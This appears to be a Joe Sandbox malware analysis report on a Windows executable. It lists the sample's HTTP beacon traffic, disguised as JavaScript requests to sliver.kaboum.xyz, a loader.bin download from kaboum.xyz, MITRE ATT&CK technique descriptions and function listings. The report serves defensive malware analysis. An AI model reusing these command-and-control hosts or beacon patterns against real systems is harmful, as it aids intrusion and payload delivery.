Source: global traffic	HTTP traffic detected: GET /javascript/js/javascripts/backbone.js?i=95271830 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/script.js?u=7dz9778131 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/app.min.js?v=7759922 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/umd/javascripts/script/umd/backbone.js?j=2235850 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/array.js?c=8c275l5048 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/array.js?h=3g2539868 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/app.min.js?k=16794834 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/umd/backbone.js?m=59p421880 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascript/umd/javascripts/script.js?i=33f258382 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /app.js?s=37090597 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/javascripts/script/script/array.js?a=50029735 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascript/javascripts/js/script.js?n=6012979 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip

Source: global traffic	HTTP traffic detected: GET /artdonjon/loader.bin HTTP/1.1accept: /host: kaboum.xyz
Source: global traffic	HTTP traffic detected: GET /javascript/jscript/app.min.js?_=76p52a0964 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script.js?f=720f81321 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascripts/javascripts/javascripts/array.js?p=4984414 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /umd/script/umd/script/javascripts/backbone.js?a=7711n8412 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/backbone.js?_=35188464 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/js/app.min.js?g=62721655 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascript/javascript/javascripts/js/script.js?o=y8t4764415 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/javascript/app.min.js?h=603b2h1231 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /backbone.js?b=70351513 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/javascripts/js/js/script/app.min.js?q=8_04158u45 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/script.js?i=9g6924310 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/app.min.js?q=13c091045 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/js/javascripts/backbone.js?i=95271830 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/script.js?u=7dz9778131 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/app.min.js?v=7759922 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/umd/javascripts/script/umd/backbone.js?j=2235850 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/array.js?c=8c275l5048 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/array.js?h=3g2539868 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascripts/app.min.js?k=16794834 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/umd/backbone.js?m=59p421880 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascript/umd/javascripts/script.js?i=33f258382 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /app.js?s=37090597 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /script/javascripts/script/script/array.js?a=50029735 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /jscript/javascript/javascripts/js/script.js?n=6012979 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: AWSALBCORS=510c7ec8d9697894fb9fad655049df34Accept-Encoding: gzip

Source:	DNS query: kaboum.xyz
Source:	DNS query: sliver.kaboum.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: kaboum.xyz
Source: global traffic	DNS traffic detected: DNS query: sliver.kaboum.xyz

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WOlxr4yjgF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
WOlxr4yjgF.exe

Function 00007FF652E7AFA4 Relevance: 23.4, APIs: 8, Strings: 7, Instructions: 943
COMMON

Function 00007FF652EE0AEF Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 554
COMMON

Function 00007FF652EB7A83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 281
networkCOMMON

Function 00007FF652E694F9 Relevance: 14.8, APIs: 6, Strings: 2, Instructions: 822
COMMON

